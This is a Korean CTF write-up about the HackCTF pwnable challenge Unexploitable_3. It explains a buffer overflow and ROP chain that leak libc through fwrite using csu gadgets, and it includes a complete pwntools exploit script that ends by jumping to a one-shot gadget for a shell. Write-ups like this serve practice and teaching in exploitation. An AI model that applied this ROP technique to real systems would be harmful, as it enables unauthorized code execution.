본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Unexploitable_3 풀이

by snwo 2021. 5. 3.

보호기법은 2와 마찬가지로 NX 정도 걸려있다. main 함수에서 0x90 만큼 오버플로우가 발생한다.

 

gift 함수에는 fwrite 함수가 있는데, 밑부분을 보면, mov rcx, [rdi] 가젯이 있는데,

이걸로 fwrite 의 4번째 인자를 조작할 수 있다.

 

fwrite(fgets@got, 1, 6, 0x601050 (stdout in bss))

 

이렇게 호출하면 되는데, rdi, rsi, rdx 레지스터는 __libc_csu_init 가젯으로 맞추면 된다.

 

  1. pop rdi 가젯으로 rdi 에 bss 주소 넣기
  2. mov rcx, [rdi] 가젯으로 rcx 에 stdout 이 들어가게 된다.
  3. 이제 csu 가젯으로 rdi, rsi, rdx 가젯을 세팅하고, fwrite 로 leak 을 한다.
  4. 다시 main 으로 돌아가 원샷가젯으로 리턴

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
 
# r=process("./Unexploitable_3")
r=remote("ctf.j0n9hyun.xyz"3034)
b=ELF("./Unexploitable_3")
#lib=b.libc
 
prdi=0x0000000000400743 # pop rdi
rcx=0x0000000000400658 #mov rcx [rdi] ; ret
csu_pop=0x000000000040073a # rbx, rbp, r12,r13,r14,r15
csu_call=0x0000000000400720 # rdx=r13, rsi=r14, edi=r15d, call r12+rbx*8
                                        # and pop * 7 ; ret
 
pay=b'x'*0x18
pay+=p64(prdi)
pay+=p64(0x601050)
pay+=p64(rcx)
pay+=p64(csu_pop)
pay+=p64(0)
pay+=p64(1)
pay+=p64(b.got['fwrite'])
pay+=p64(6)
pay+=p64(1)
pay+=p64(b.got['__libc_start_main'])
pay+=p64(csu_call)
pay+=p64(0)*7
pay+=p64(b.sym['main'])
pause()
r.sendlineafter("\n",pay)
base=u64(r.recv(6)+b'\x00\x00')-0x20740
log.info(hex(base))
one=[0xf1147,0xf02a4,0x4526a,0x45216]
 
pay2=b'x'*0x18
pay2+=p64(one[3]+base)
 
r.sendlineafter("\n",pay2)
 
r.interactive()
cs

 

ubuntu 16.04 환경에서 진행하면 알맞은 원샷가젯들을 구할 수 있어 로컬익스가 가능하다.